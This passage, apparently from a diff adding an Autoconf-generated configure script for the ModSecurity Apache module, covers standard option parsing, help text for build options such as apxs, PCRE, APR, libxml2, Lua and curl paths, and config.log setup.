conf$$ conf$$.exe conf$$.dir/conf$$.file conf$$.file +rmdir conf$$.dir 2>/dev/null + +if mkdir -p . 2>/dev/null; then + as_mkdir_p=: +else + test -d ./-p && rmdir ./-p + as_mkdir_p=false +fi + +if test -x / >/dev/null 2>&1; then + as_test_x='test -x' +else + if ls -dL / >/dev/null 2>&1; then + as_ls_L_option=L + else + as_ls_L_option= + fi + as_test_x=' + eval sh -c '\'' + if test -d "$1"; then + test -d "$1/."; + else + case $1 in + -*)set "./$1";; + esac; + case `ls -ld'$as_ls_L_option' "$1" 2>/dev/null` in + ???[sx]*):;;*)false;;esac;fi + '\'' sh + ' +fi +as_executable_p=$as_test_x + +# Sed expression to map a string onto a valid CPP name. +as_tr_cpp="eval sed 'y%*$as_cr_letters%P$as_cr_LETTERS%;s%[^_$as_cr_alnum]%_%g'" + +# Sed expression to map a string onto a valid variable name. +as_tr_sh="eval sed 'y%*+%pp%;s%[^_$as_cr_alnum]%_%g'" + + + +exec 7<&0 </dev/null 6>&1 + +# Name of the host. +# hostname on some systems (SVR3.2, Linux) returns a bogus exit status, +# so uname gets run too. +ac_hostname=`(hostname || uname -n) 2>/dev/null | sed 1q` + +# +# Initializations. +# +ac_default_prefix=/usr/local +ac_clean_files= +ac_config_libobj_dir=. +LIBOBJS= +cross_compiling=no +subdirs= +MFLAGS= +MAKEFLAGS= +SHELL=${CONFIG_SHELL-/bin/sh} + +# Identity of this package. +PACKAGE_NAME= +PACKAGE_TARNAME= +PACKAGE_VERSION= +PACKAGE_STRING= +PACKAGE_BUGREPORT= + +ac_unique_file="mod_security2.c" +# Factoring default headers for most tests. +ac_includes_default="\ +#include <stdio.h> +#ifdef HAVE_SYS_TYPES_H +# include <sys/types.h> +#endif +#ifdef HAVE_SYS_STAT_H +# include <sys/stat.h> +#endif +#ifdef STDC_HEADERS +# include <stdlib.h> +# include <stddef.h> +#else +# ifdef HAVE_STDLIB_H +# include <stdlib.h> +# endif +#endif +#ifdef HAVE_STRING_H +# if !defined STDC_HEADERS && defined HAVE_MEMORY_H +# include <memory.h> +# endif +# include <string.h> +#endif +#ifdef HAVE_STRINGS_H +# include <strings.h> +#endif +#ifdef HAVE_INTTYPES_H +# include <inttypes.h> +#endif +#ifdef HAVE_STDINT_H +# include <stdint.h> +#endif +#ifdef HAVE_UNISTD_H +# include <unistd.h> +#endif" + +ac_subst_vars='SHELL +PATH_SEPARATOR +PACKAGE_NAME +PACKAGE_TARNAME +PACKAGE_VERSION +PACKAGE_STRING +PACKAGE_BUGREPORT +exec_prefix +prefix +program_transform_name +bindir +sbindir +libexecdir +datarootdir +datadir +sysconfdir +sharedstatedir +localstatedir +includedir +oldincludedir +docdir +infodir +htmldir +dvidir +pdfdir +psdir +libdir +localedir +mandir +DEFS +ECHO_C +ECHO_N +ECHO_T +LIBS +build_alias +host_alias +target_alias +CXX +CXXFLAGS +LDFLAGS +CPPFLAGS +ac_ct_CXX +EXEEXT +OBJEXT +CC +CFLAGS +ac_ct_CC +CPP +INSTALL_PROGRAM +INSTALL_SCRIPT +INSTALL_DATA +LN_S +SET_MAKE +RANLIB +PERL +GREP +EGREP +LIBOBJS +EXTRA_CFLAGS +MODSEC_EXTRA_CFLAGS +APXS +APXS_WRAPPER +APXS_INCLUDEDIR +APXS_INCLUDES +APXS_EXTRA_CFLAGS +MODSEC_APXS_EXTRA_CFLAGS +APXS_LDFLAGS +APXS_LIBS +APXS_CFLAGS +APXS_LIBTOOL +APXS_CC +PCRE_LIBS +PCRE_CFLAGS +APR_LIBS +APR_CFLAGS +APR_LDFLAGS +APR_LINK_LD +APU_LIBS +APU_CFLAGS +APU_LDFLAGS +APU_LINK_LD +LIBXML_LIBS +LIBXML_CFLAGS +LUA_LIBS +LUA_CFLAGS +CURL_LIBS +CURL_CFLAGS +LTLIBOBJS' +ac_subst_files='' + ac_precious_vars='build_alias +host_alias +target_alias +CXX +CXXFLAGS +LDFLAGS +LIBS +CPPFLAGS +CCC +CC +CFLAGS +CPP' + + +# Initialize some variables set by options. +ac_init_help= +ac_init_version=false +# The variables have the same names as the options, with +# dashes changed to underlines. +cache_file=/dev/null +exec_prefix=NONE +no_create= +no_recursion= +prefix=NONE +program_prefix=NONE +program_suffix=NONE +program_transform_name=s,x,x, +silent= +site= +srcdir= +verbose= +x_includes=NONE +x_libraries=NONE + +# Installation directory options. +# These are left unexpanded so users can "make install exec_prefix=/foo" +# and all the variables that are supposed to be based on exec_prefix +# by default will actually change. +# Use braces instead of parens because sh, perl, etc. also accept them. +# (The list follows the same order as the GNU Coding Standards.) +bindir='${exec_prefix}/bin' +sbindir='${exec_prefix}/sbin' +libexecdir='${exec_prefix}/libexec' +datarootdir='${prefix}/share' +datadir='${datarootdir}' +sysconfdir='${prefix}/etc' +sharedstatedir='${prefix}/com' +localstatedir='${prefix}/var' +includedir='${prefix}/include' +oldincludedir='/usr/include' +docdir='${datarootdir}/doc/${PACKAGE}' +infodir='${datarootdir}/info' +htmldir='${docdir}' +dvidir='${docdir}' +pdfdir='${docdir}' +psdir='${docdir}' +libdir='${exec_prefix}/lib' +localedir='${datarootdir}/locale' +mandir='${datarootdir}/man' + +ac_prev= +ac_dashdash= +for ac_option +do + # If the previous option needs an argument, assign it. + if test -n "$ac_prev"; then + eval $ac_prev=\$ac_option + ac_prev= + continue + fi + + case $ac_option in + *=*) ac_optarg=`expr "X$ac_option" : '[^=]*=\(.*\)'` ;; + *) ac_optarg=yes ;; + esac + + # Accept the important Cygnus configure options, so we can diagnose typos. + + case $ac_dashdash$ac_option in + --) + ac_dashdash=yes ;; + + -bindir | --bindir | --bindi | --bind | --bin | --bi) + ac_prev=bindir ;; + -bindir=* | --bindir=* | --bindi=* | --bind=* | --bin=* | --bi=*) + bindir=$ac_optarg ;; + + -build | --build | --buil | --bui | --bu) + ac_prev=build_alias ;; + -build=* | --build=* | --buil=* | --bui=* | --bu=*) + build_alias=$ac_optarg ;; + + -cache-file | --cache-file | --cache-fil | --cache-fi \ + | --cache-f | --cache- | --cache | --cach | --cac | --ca | --c) + ac_prev=cache_file ;; + -cache-file=* | --cache-file=* | --cache-fil=* | --cache-fi=* \ + | --cache-f=* | --cache-=* | --cache=* | --cach=* | --cac=* | --ca=* | --c=*) + cache_file=$ac_optarg ;; + + --config-cache | -C) + cache_file=config.cache ;; + + -datadir | --datadir | --datadi | --datad) + ac_prev=datadir ;; + -datadir=* | --datadir=* | --datadi=* | --datad=*) + datadir=$ac_optarg ;; + + -datarootdir | --datarootdir | --datarootdi | --datarootd | --dataroot \ + | --dataroo | --dataro | --datar) + ac_prev=datarootdir ;; + -datarootdir=* | --datarootdir=* | --datarootdi=* | --datarootd=* \ + | --dataroot=* | --dataroo=* | --dataro=* | --datar=*) + datarootdir=$ac_optarg ;; + + -disable-* | --disable-*) + ac_feature=`expr "x$ac_option" : 'x-*disable-\(.*\)'` + # Reject names that are not valid shell variable names. + expr "x$ac_feature" : ".*[^-._$as_cr_alnum]" >/dev/null && + { echo "$as_me: error: invalid feature name: $ac_feature" >&2 + { (exit 1); exit 1; }; } + ac_feature=`echo $ac_feature | sed 's/[-.]/_/g'` + eval enable_$ac_feature=no ;; + + -docdir | --docdir | --docdi | --doc | --do) + ac_prev=docdir ;; + -docdir=* | --docdir=* | --docdi=* | --doc=* | --do=*) + docdir=$ac_optarg ;; + + -dvidir | --dvidir | --dvidi | --dvid | --dvi | --dv) + ac_prev=dvidir ;; + -dvidir=* | --dvidir=* | --dvidi=* | --dvid=* | --dvi=* | --dv=*) + dvidir=$ac_optarg ;; + + -enable-* | --enable-*) + ac_feature=`expr "x$ac_option" : 'x-*enable-\([^=]*\)'` + # Reject names that are not valid shell variable names. + expr "x$ac_feature" : ".*[^-._$as_cr_alnum]" >/dev/null && + { echo "$as_me: error: invalid feature name: $ac_feature" >&2 + { (exit 1); exit 1; }; } + ac_feature=`echo $ac_feature | sed 's/[-.]/_/g'` + eval enable_$ac_feature=\$ac_optarg ;; + + -exec-prefix | --exec_prefix | --exec-prefix | --exec-prefi \ + | --exec-pref | --exec-pre | --exec-pr | --exec-p | --exec- \ + | --exec | --exe | --ex) + ac_prev=exec_prefix ;; + -exec-prefix=* | --exec_prefix=* | --exec-prefix=* | --exec-prefi=* \ + | --exec-pref=* | --exec-pre=* | --exec-pr=* | --exec-p=* | --exec-=* \ + | --exec=* | --exe=* | --ex=*) + exec_prefix=$ac_optarg ;; + + -gas | --gas | --ga | --g) + # Obsolete; use --with-gas. + with_gas=yes ;; + + -help | --help | --hel | --he | -h) + ac_init_help=long ;; + -help=r* | --help=r* | --hel=r* | --he=r* | -hr*) + ac_init_help=recursive ;; + -help=s* | --help=s* | --hel=s* | --he=s* | -hs*) + ac_init_help=short ;; + + -host | --host | --hos | --ho) + ac_prev=host_alias ;; + -host=* | --host=* | --hos=* | --ho=*) + host_alias=$ac_optarg ;; + + -htmldir | --htmldir | --htmldi | --htmld | --html | --htm | --ht) + ac_prev=htmldir ;; + -htmldir=* | --htmldir=* | --htmldi=* | --htmld=* | --html=* | --htm=* \ + | --ht=*) + htmldir=$ac_optarg ;; + + -includedir | --includedir | --includedi | --included | --include \ + | --includ | --inclu | --incl | --inc) + ac_prev=includedir ;; + -includedir=* | --includedir=* | --includedi=* | --included=* | --include=* \ + | --includ=* | --inclu=* | --incl=* | --inc=*) + includedir=$ac_optarg ;; + + -infodir | --infodir | --infodi | --infod | --info | --inf) + ac_prev=infodir ;; + -infodir=* | --infodir=* | --infodi=* | --infod=* | --info=* | --inf=*) + infodir=$ac_optarg ;; + + -libdir | --libdir | --libdi | --libd) + ac_prev=libdir ;; + -libdir=* | --libdir=* | --libdi=* | --libd=*) + libdir=$ac_optarg ;; + + -libexecdir | --libexecdir | --libexecdi | --libexecd | --libexec \ + | --libexe | --libex | --libe) + ac_prev=libexecdir ;; + -libexecdir=* | --libexecdir=* | --libexecdi=* | --libexecd=* | --libexec=* \ + | --libexe=* | --libex=* | --libe=*) + libexecdir=$ac_optarg ;; + + -localedir | --localedir | --localedi | --localed | --locale) + ac_prev=localedir ;; + -localedir=* | --localedir=* | --localedi=* | --localed=* | --locale=*) + localedir=$ac_optarg ;; + + -localstatedir | --localstatedir | --localstatedi | --localstated \ + | --localstate | --localstat | --localsta | --localst | --locals) + ac_prev=localstatedir ;; + -localstatedir=* | --localstatedir=* | --localstatedi=* | --localstated=* \ + | --localstate=* | --localstat=* | --localsta=* | --localst=* | --locals=*) + localstatedir=$ac_optarg ;; + + -mandir | --mandir | --mandi | --mand | --man | --ma | --m) + ac_prev=mandir ;; + -mandir=* | --mandir=* | --mandi=* | --mand=* | --man=* | --ma=* | --m=*) + mandir=$ac_optarg ;; + + -nfp | --nfp | --nf) + # Obsolete; use --without-fp. + with_fp=no ;; + + -no-create | --no-create | --no-creat | --no-crea | --no-cre \ + | --no-cr | --no-c | -n) + no_create=yes ;; + + -no-recursion | --no-recursion | --no-recursio | --no-recursi \ + | --no-recurs | --no-recur | --no-recu | --no-rec | --no-re | --no-r) + no_recursion=yes ;; + + -oldincludedir | --oldincludedir | --oldincludedi | --oldincluded \ + | --oldinclude | --oldinclud | --oldinclu | --oldincl | --oldinc \ + | --oldin | --oldi | --old | --ol | --o) + ac_prev=oldincludedir ;; + -oldincludedir=* | --oldincludedir=* | --oldincludedi=* | --oldincluded=* \ + | --oldinclude=* | --oldinclud=* | --oldinclu=* | --oldincl=* | --oldinc=* \ + | --oldin=* | --oldi=* | --old=* | --ol=* | --o=*) + oldincludedir=$ac_optarg ;; + + -prefix | --prefix | --prefi | --pref | --pre | --pr | --p) + ac_prev=prefix ;; + -prefix=* | --prefix=* | --prefi=* | --pref=* | --pre=* | --pr=* | --p=*) + prefix=$ac_optarg ;; + + -program-prefix | --program-prefix | --program-prefi | --program-pref \ + | --program-pre | --program-pr | --program-p) + ac_prev=program_prefix ;; + -program-prefix=* | --program-prefix=* | --program-prefi=* \ + | --program-pref=* | --program-pre=* | --program-pr=* | --program-p=*) + program_prefix=$ac_optarg ;; + + -program-suffix | --program-suffix | --program-suffi | --program-suff \ + | --program-suf | --program-su | --program-s) + ac_prev=program_suffix ;; + -program-suffix=* | --program-suffix=* | --program-suffi=* \ + | --program-suff=* | --program-suf=* | --program-su=* | --program-s=*) + program_suffix=$ac_optarg ;; + + -program-transform-name | --program-transform-name \ + | --program-transform-nam | --program-transform-na \ + | --program-transform-n | --program-transform- \ + | --program-transform | --program-transfor \ + | --program-transfo | --program-transf \ + | --program-trans | --program-tran \ + | --progr-tra | --program-tr | --program-t) + ac_prev=program_transform_name ;; + -program-transform-name=* | --program-transform-name=* \ + | --program-transform-nam=* | --program-transform-na=* \ + | --program-transform-n=* | --program-transform-=* \ + | --program-transform=* | --program-transfor=* \ + | --program-transfo=* | --program-transf=* \ + | --program-trans=* | --program-tran=* \ + | --progr-tra=* | --program-tr=* | --program-t=*) + program_transform_name=$ac_optarg ;; + + -pdfdir | --pdfdir | --pdfdi | --pdfd | --pdf | --pd) + ac_prev=pdfdir ;; + -pdfdir=* | --pdfdir=* | --pdfdi=* | --pdfd=* | --pdf=* | --pd=*) + pdfdir=$ac_optarg ;; + + -psdir | --psdir | --psdi | --psd | --ps) + ac_prev=psdir ;; + -psdir=* | --psdir=* | --psdi=* | --psd=* | --ps=*) + psdir=$ac_optarg ;; + + -q | -quiet | --quiet | --quie | --qui | --qu | --q \ + | -silent | --silent | --silen | --sile | --sil) + silent=yes ;; + + -sbindir | --sbindir | --sbindi | --sbind | --sbin | --sbi | --sb) + ac_prev=sbindir ;; + -sbindir=* | --sbindir=* | --sbindi=* | --sbind=* | --sbin=* \ + | --sbi=* | --sb=*) + sbindir=$ac_optarg ;; + + -sharedstatedir | --sharedstatedir | --sharedstatedi \ + | --sharedstated | --sharedstate | --sharedstat | --sharedsta \ + | --sharedst | --shareds | --shared | --share | --shar \ + | --sha | --sh) + ac_prev=sharedstatedir ;; + -sharedstatedir=* | --sharedstatedir=* | --sharedstatedi=* \ + | --sharedstated=* | --sharedstate=* | --sharedstat=* | --sharedsta=* \ + | --sharedst=* | --shareds=* | --shared=* | --share=* | --shar=* \ + | --sha=* | --sh=*) + sharedstatedir=$ac_optarg ;; + + -site | --site | --sit) + ac_prev=site ;; + -site=* | --site=* | --sit=*) + site=$ac_optarg ;; + + -srcdir | --srcdir | --srcdi | --srcd | --src | --sr) + ac_prev=srcdir ;; + -srcdir=* | --srcdir=* | --srcdi=* | --srcd=* | --src=* | --sr=*) + srcdir=$ac_optarg ;; + + -sysconfdir | --sysconfdir | --sysconfdi | --sysconfd | --sysconf \ + | --syscon | --sysco | --sysc | --sys | --sy) + ac_prev=sysconfdir ;; + -sysconfdir=* | --sysconfdir=* | --sysconfdi=* | --sysconfd=* | --sysconf=* \ + | --syscon=* | --sysco=* | --sysc=* | --sys=* | --sy=*) + sysconfdir=$ac_optarg ;; + + -target | --target | --targe | --targ | --tar | --ta | --t) + ac_prev=target_alias ;; + -target=* | --target=* | --targe=* | --targ=* | --tar=* | --ta=* | --t=*) + target_alias=$ac_optarg ;; + + -v | -verbose | --verbose | --verbos | --verbo | --verb) + verbose=yes ;; + + -version | --version | --versio | --versi | --vers | -V) + ac_init_version=: ;; + + -with-* | --with-*) + ac_package=`expr "x$ac_option" : 'x-*with-\([^=]*\)'` + # Reject names that are not valid shell variable names. + expr "x$ac_package" : ".*[^-._$as_cr_alnum]" >/dev/null && + { echo "$as_me: error: invalid package name: $ac_package" >&2 + { (exit 1); exit 1; }; } + ac_package=`echo $ac_package | sed 's/[-.]/_/g'` + eval with_$ac_package=\$ac_optarg ;; + + -without-* | --without-*) + ac_package=`expr "x$ac_option" : 'x-*without-\(.*\)'` + # Reject names that are not valid shell variable names. + expr "x$ac_package" : ".*[^-._$as_cr_alnum]" >/dev/null && + { echo "$as_me: error: invalid package name: $ac_package" >&2 + { (exit 1); exit 1; }; } + ac_package=`echo $ac_package | sed 's/[-.]/_/g'` + eval with_$ac_package=no ;; + + --x) + # Obsolete; use --with-x. + with_x=yes ;; + + -x-includes | --x-includes | --x-include | --x-includ | --x-inclu \ + | --x-incl | --x-inc | --x-in | --x-i) + ac_prev=x_includes ;; + -x-includes=* | --x-includes=* | --x-include=* | --x-includ=* | --x-inclu=* \ + | --x-incl=* | --x-inc=* | --x-in=* | --x-i=*) + x_includes=$ac_optarg ;; + + -x-libraries | --x-libraries | --x-librarie | --x-librari \ + | --x-librar | --x-libra | --x-libr | --x-lib | --x-li | --x-l) + ac_prev=x_libraries ;; + -x-libraries=* | --x-libraries=* | --x-librarie=* | --x-librari=* \ + | --x-librar=* | --x-libra=* | --x-libr=* | --x-lib=* | --x-li=* | --x-l=*) + x_libraries=$ac_optarg ;; + + -*) { echo "$as_me: error: unrecognized option: $ac_option +Try \`$0 --help' for more information." >&2 + { (exit 1); exit 1; }; } + ;; + + *=*) + ac_envvar=`expr "x$ac_option" : 'x\([^=]*\)='` + # Reject names that are not valid shell variable names. + expr "x$ac_envvar" : ".*[^_$as_cr_alnum]" >/dev/null && + { echo "$as_me: error: invalid variable name: $ac_envvar" >&2 + { (exit 1); exit 1; }; } + eval $ac_envvar=\$ac_optarg + export $ac_envvar ;; + + *) + # FIXME: should be removed in autoconf 3.0. + echo "$as_me: WARNING: you should use --build, --host, --target" >&2 + expr "x$ac_option" : ".*[^-._$as_cr_alnum]" >/dev/null && + echo "$as_me: WARNING: invalid host type: $ac_option" >&2 + : ${build_alias=$ac_option} ${host_alias=$ac_option} ${target_alias=$ac_option} + ;; + + esac +done + +if test -n "$ac_prev"; then + ac_option=--`echo $ac_prev | sed 's/_/-/g'` + { echo "$as_me: error: missing argument to $ac_option" >&2 + { (exit 1); exit 1; }; } +fi + +# Be sure to have absolute directory names. +for ac_var in exec_prefix prefix bindir sbindir libexecdir datarootdir \ + datadir sysconfdir sharedstatedir localstatedir includedir \ + oldincludedir docdir infodir htmldir dvidir pdfdir psdir \ + libdir localedir mandir +do + eval ac_val=\$$ac_var + case $ac_val in + [\\/$]* | ?:[\\/]* ) continue;; + NONE | '' ) case $ac_var in *prefix ) continue;; esac;; + esac + { echo "$as_me: error: expected an absolute directory name for --$ac_var: $ac_val" >&2 + { (exit 1); exit 1; }; } +done + +# There might be people who depend on the old broken behavior: `$host' +# used to hold the argument of --host etc. +# FIXME: To remove some day. +build=$build_alias +host=$host_alias +target=$target_alias + +# FIXME: To remove some day. +if test "x$host_alias" != x; then + if test "x$build_alias" = x; then + cross_compiling=maybe + echo "$as_me: WARNING: If you wanted to set the --build type, don't use --host. + If a cross compiler is detected then cross compile mode will be used." >&2 + elif test "x$build_alias" != "x$host_alias"; then + cross_compiling=yes + fi +fi + +ac_tool_prefix= +test -n "$host_alias" && ac_tool_prefix=$host_alias- + +test "$silent" = yes && exec 6>/dev/null + + +ac_pwd=`pwd` && test -n "$ac_pwd" && +ac_ls_di=`ls -di .` && +ac_pwd_ls_di=`cd "$ac_pwd" && ls -di .` || + { echo "$as_me: error: Working directory cannot be determined" >&2 + { (exit 1); exit 1; }; } +test "X$ac_ls_di" = "X$ac_pwd_ls_di" || + { echo "$as_me: error: pwd does not report name of working directory" >&2 + { (exit 1); exit 1; }; } + + +# Find the source files, if location was not specified. +if test -z "$srcdir"; then + ac_srcdir_defaulted=yes + # Try the directory containing this script, then the parent directory. + ac_confdir=`$as_dirname -- "$0" || +$as_expr X"$0" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \ + X"$0" : 'X\(//\)[^/]' \| \ + X"$0" : 'X\(//\)$' \| \ + X"$0" : 'X\(/\)' \| . 2>/dev/null || +echo X"$0" | + sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ + s//\1/ + q + } + /^X\(\/\/\)[^/].*/{ + s//\1/ + q + } + /^X\(\/\/\)$/{ + s//\1/ + q + } + /^X\(\/\).*/{ + s//\1/ + q + } + s/.*/./; q'` + srcdir=$ac_confdir + if test ! -r "$srcdir/$ac_unique_file"; then + srcdir=.. + fi +else + ac_srcdir_defaulted=no +fi +if test ! -r "$srcdir/$ac_unique_file"; then + test "$ac_srcdir_defaulted" = yes && srcdir="$ac_confdir or .." + { echo "$as_me: error: cannot find sources ($ac_unique_file) in $srcdir" >&2 + { (exit 1); exit 1; }; } +fi +ac_msg="sources are in $srcdir, but \`cd $srcdir' does not work" +ac_abs_confdir=`( + cd "$srcdir" && test -r "./$ac_unique_file" || { echo "$as_me: error: $ac_msg" >&2 + { (exit 1); exit 1; }; } + pwd)` +# When building in place, set srcdir=. +if test "$ac_abs_confdir" = "$ac_pwd"; then + srcdir=. +fi +# Remove unnecessary trailing slashes from srcdir. +# Double slashes in file names in object file debugging info +# mess up M-x gdb in Emacs. +case $srcdir in +*/) srcdir=`expr "X$srcdir" : 'X\(.*[^/]\)' \| "X$srcdir" : 'X\(.*\)'`;; +esac +for ac_var in $ac_precious_vars; do + eval ac_env_${ac_var}_set=\${${ac_var}+set} + eval ac_env_${ac_var}_value=\$${ac_var} + eval ac_cv_env_${ac_var}_set=\${${ac_var}+set} + eval ac_cv_env_${ac_var}_value=\$${ac_var} +done + +# +# Report the --help message. +# +if test "$ac_init_help" = "long"; then + # Omit some internal or obsolete options to make the list less imposing. + # This message is too long to be a string in the A/UX 3.1 sh. + cat <<_ACEOF +\`configure' configures this package to adapt to many kinds of systems. + +Usage: $0 [OPTION]... [VAR=VALUE]... + +To assign environment variables (e.g., CC, CFLAGS...), specify them as +VAR=VALUE. See below for descriptions of some of the useful variables. + +Defaults for the options are specified in brackets. + +Configuration: + -h, --help display this help and exit + --help=short display options specific to this package + --help=recursive display the short help of all the included packages + -V, --version display version information and exit + -q, --quiet, --silent do not print \`checking...' messages + --cache-file=FILE cache test results in FILE [disabled] + -C, --config-cache alias for \`--cache-file=config.cache' + -n, --no-create do not create output files + --srcdir=DIR find the sources in DIR [configure dir or \`..'] + +Installation directories: + --prefix=PREFIX install architecture-independent files in PREFIX + [$ac_default_prefix] + --exec-prefix=EPREFIX install architecture-dependent files in EPREFIX + [PREFIX] + +By default, \`make install' will install all the files in +\`$ac_default_prefix/bin', \`$ac_default_prefix/lib' etc. You can specify +an installation prefix other than \`$ac_default_prefix' using \`--prefix', +for instance \`--prefix=\$HOME'. + +For better control, use the options below. + +Fine tuning of the installation directories: + --bindir=DIR user executables [EPREFIX/bin] + --sbindir=DIR system admin executables [EPREFIX/sbin] + --libexecdir=DIR program executables [EPREFIX/libexec] + --sysconfdir=DIR read-only single-machine data [PREFIX/etc] + --sharedstatedir=DIR modifiable architecture-independent data [PREFIX/com] + --localstatedir=DIR modifiable single-machine data [PREFIX/var] + --libdir=DIR object code libraries [EPREFIX/lib] + --includedir=DIR C header files [PREFIX/include] + --oldincludedir=DIR C header files for non-gcc [/usr/include] + --datarootdir=DIR read-only arch.-independent data root [PREFIX/share] + --datadir=DIR read-only architecture-independent data [DATAROOTDIR] + --infodir=DIR info documentation [DATAROOTDIR/info] + --localedir=DIR locale-dependent data [DATAROOTDIR/locale] + --mandir=DIR man documentation [DATAROOTDIR/man] + --docdir=DIR documentation root [DATAROOTDIR/doc/PACKAGE] + --htmldir=DIR html documentation [DOCDIR] + --dvidir=DIR dvi documentation [DOCDIR] + --pdfdir=DIR pdf documentation [DOCDIR] + --psdir=DIR ps documentation [DOCDIR] +_ACEOF + + cat <<\_ACEOF +_ACEOF +fi + +if test -n "$ac_init_help"; then + + cat <<\_ACEOF + +Optional Features: + --disable-FEATURE do not include FEATURE (same as --enable-FEATURE=no) + --enable-FEATURE[=ARG] include FEATURE [ARG=yes] + --enable-strict-compile Enable strict compilation (warnings are errors). + --enable-debug-conf Enable debug during configuration. + --enable-debug-cache Enable debug for transformation caching. + --enable-debug-acmp Enable debugging acmp code. + --enable-performance-measurement + Enable performance-measurement stats. + --disable-modsec-api Disable the API; compiling against some older Apache + versions require this. + +Optional Packages: + --with-PACKAGE[=ARG] use PACKAGE [ARG=yes] + --without-PACKAGE do not use PACKAGE (same as --with-PACKAGE=no) + --with-apxs=FILE FILE is the path to apxs; defaults to "apxs". + --with-httpd-src=PATH PATH is to the Apache httpd source tree where srclib + will be used as a base for pcre, apr and apu config + scripts. + --with-pcre=PATH Path to the pcre prefix + --with-apr=PATH Path to the apr prefix + --with-apu=PATH Path to the apu prefix + --with-libxml=PATH Path to the libxml2 prefix + --with-lua=PATH Path to the lua prefix + --with-curl=PATH Path to the curl prefix + +Some influential environment variables: + CXX C++ compiler command + CXXFLAGS C++ compiler flags + LDFLAGS linker flags, e.g. -L<lib dir> if you have libraries in a + nonstandard directory <lib dir> + LIBS libraries to pass to the linker, e.g. -l<library> + CPPFLAGS C/C++/Objective C preprocessor flags, e.g. -I<include dir> if + you have headers in a nonstandard directory <include dir> + CC C compiler command + CFLAGS C compiler flags + CPP C preprocessor + +Use these variables to override the choices made by `configure' or to help +it to find libraries and programs with nonstandard names/locations. + +_ACEOF +ac_status=$? +fi + +if test "$ac_init_help" = "recursive"; then + # If there are subdirs, report their specific --help. + for ac_dir in : $ac_subdirs_all; do test "x$ac_dir" = x: && continue + test -d "$ac_dir" || continue + ac_builddir=. + +case "$ac_dir" in +.) ac_dir_suffix= ac_top_builddir_sub=. ac_top_build_prefix= ;; +*) + ac_dir_suffix=/`echo "$ac_dir" | sed 's,^\.[\\/],,'` + # A ".." for each directory in $ac_dir_suffix. + ac_top_builddir_sub=`echo "$ac_dir_suffix" | sed 's,/[^\\/]*,/..,g;s,/,,'` + case $ac_top_builddir_sub in + "") ac_top_builddir_sub=. ac_top_build_prefix= ;; + *) ac_top_build_prefix=$ac_top_builddir_sub/ ;; + esac ;; +esac +ac_abs_top_builddir=$ac_pwd +ac_abs_builddir=$ac_pwd$ac_dir_suffix +# for backward compatibility: +ac_top_builddir=$ac_top_build_prefix + +case $srcdir in + .) # We are building in place. + ac_srcdir=. + ac_top_srcdir=$ac_top_builddir_sub + ac_abs_top_srcdir=$ac_pwd ;; + [\\/]* | ?:[\\/]* ) # Absolute name. + ac_srcdir=$srcdir$ac_dir_suffix; + ac_top_srcdir=$srcdir + ac_abs_top_srcdir=$srcdir ;; + *) # Relative name. + ac_srcdir=$ac_top_build_prefix$srcdir$ac_dir_suffix + ac_top_srcdir=$ac_top_build_prefix$srcdir + ac_abs_top_srcdir=$ac_pwd/$srcdir ;; +esac +ac_abs_srcdir=$ac_abs_top_srcdir$ac_dir_suffix + + cd "$ac_dir" || { ac_status=$?; continue; } + # Check for guested configure. + if test -f "$ac_srcdir/configure.gnu"; then + echo && + $SHELL "$ac_srcdir/configure.gnu" --help=recursive + elif test -f "$ac_srcdir/configure"; then + echo && + $SHELL "$ac_srcdir/configure" --help=recursive + else + echo "$as_me: WARNING: no configuration information is in $ac_dir" >&2 + fi || ac_status=$? + cd "$ac_pwd" || { ac_status=$?; break; } + done +fi + +test -n "$ac_init_help" && exit $ac_status +if $ac_init_version; then + cat <<\_ACEOF +configure +generated by GNU Autoconf 2.61 + +Copyright (C) 1992, 1993, 1994, 1995, 1996, 1998, 1999, 2000, 2001, +2002, 2003, 2004, 2005, 2006 Free Software Foundation, Inc. +This configure script is free software; the Free Software Foundation +gives unlimited permission to copy, distribute and modify it. +_ACEOF + exit +fi +cat >config.log <<_ACEOF +This file contains any messages produced by compilers while +running configure, to aid debugging if configure makes a mistake. + +It was created by $as_me, which was +generated by GNU Autoconf 2.61. Invocation command line was + + $ $0 $@ + +_ACEOF +exec 5>>config.log +{ +cat <<_ASUNAME +## --------- ## +## Platform. ## +## --------- ## + +hostname = `(hostname || uname -n) 2>/dev/null | sed 1q` +uname -m = `(uname -m) 2>/dev/null || echo unknown` +uname -r = `(uname -r) 2>/dev/null || echo unknown` +uname -s = `(uname -s) 2>/dev/null || echo unknown` +uname -v = `(uname -v) 2>/dev/null || echo unknown` + +/usr/bin/uname -p = `(/usr/bin/uname -p) 2>/dev/null || echo unknown` +/bin/uname -X = `(/bin/uname -X) 2>/dev/null || echo unknown` + +/bin/arch = `(/bin/arch) 2>/dev/null || echo unknown` +/usr/bin/arch -k = `(/usr/bin/arch -k) 2>/dev/null || echo unknown` +/usr/convex/getsysinfo = `(/usr/convex/getsysinfo) 2>/dev/null || echo unknown` +/usr/bin/hostinfo = `(/usr/bin/hostinfo) 2>/dev/null || echo unknown` +/bin/machine = `(/bin/machine) 2>/dev/null || echo unknown` +/usr/bin/oslevel = `(/usr/bin/oslevel) 2>/dev/null || echo unknown` +/bin/universe = `(/bin/universe) 2>/dev/null || echo unknown` + +_ASUNAME + +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + echo "PATH: $as_dir" +done +IFS=$as_save_IFS + +} >&5 + +cat >&5 <<_ACEOF + + +## ----------- ## +## Core tests. ## +## ----------- ## + +_ACEOF + + +# Keep a trace of the command line. +# Strip out --no-create and --no-recursion so they do not pile up. +# Strip out --silent because we don't want to record it for future runs. +# Also quote any args containing shell meta-characters. +# Make two passes to allow for proper duplicate-argument suppression. +ac_configure_args= +ac_configure_args0= +ac_configure_args1= +ac_must_keep_next=false +for ac_pass in 1 2 +do + for ac_arg + do + case $ac_arg in + -no-create | --no-c* | -n | -no-recursion | --no-r*) continue ;; + -q | -quiet | --quiet | --quie | --qui | --qu | --q \ + | -silent | --silent | --silen | --sile | --sil) + continue ;; + *\'*) + ac_arg=`echo "$ac_arg" | sed "s/'/'\\\\\\\\''/g"` ;; + esac + case $ac_pass in + 1) ac_configure_args0="$ac_configure_args0 '$ac_arg'" ;; + 2) + ac_configure_args1="$ac_configure_args1 '$ac_arg'" + if test $ac_must_keep_next = true; then + ac_must_keep_next=false # Got value, back to normal. + else + case $ac_arg in + *=* | 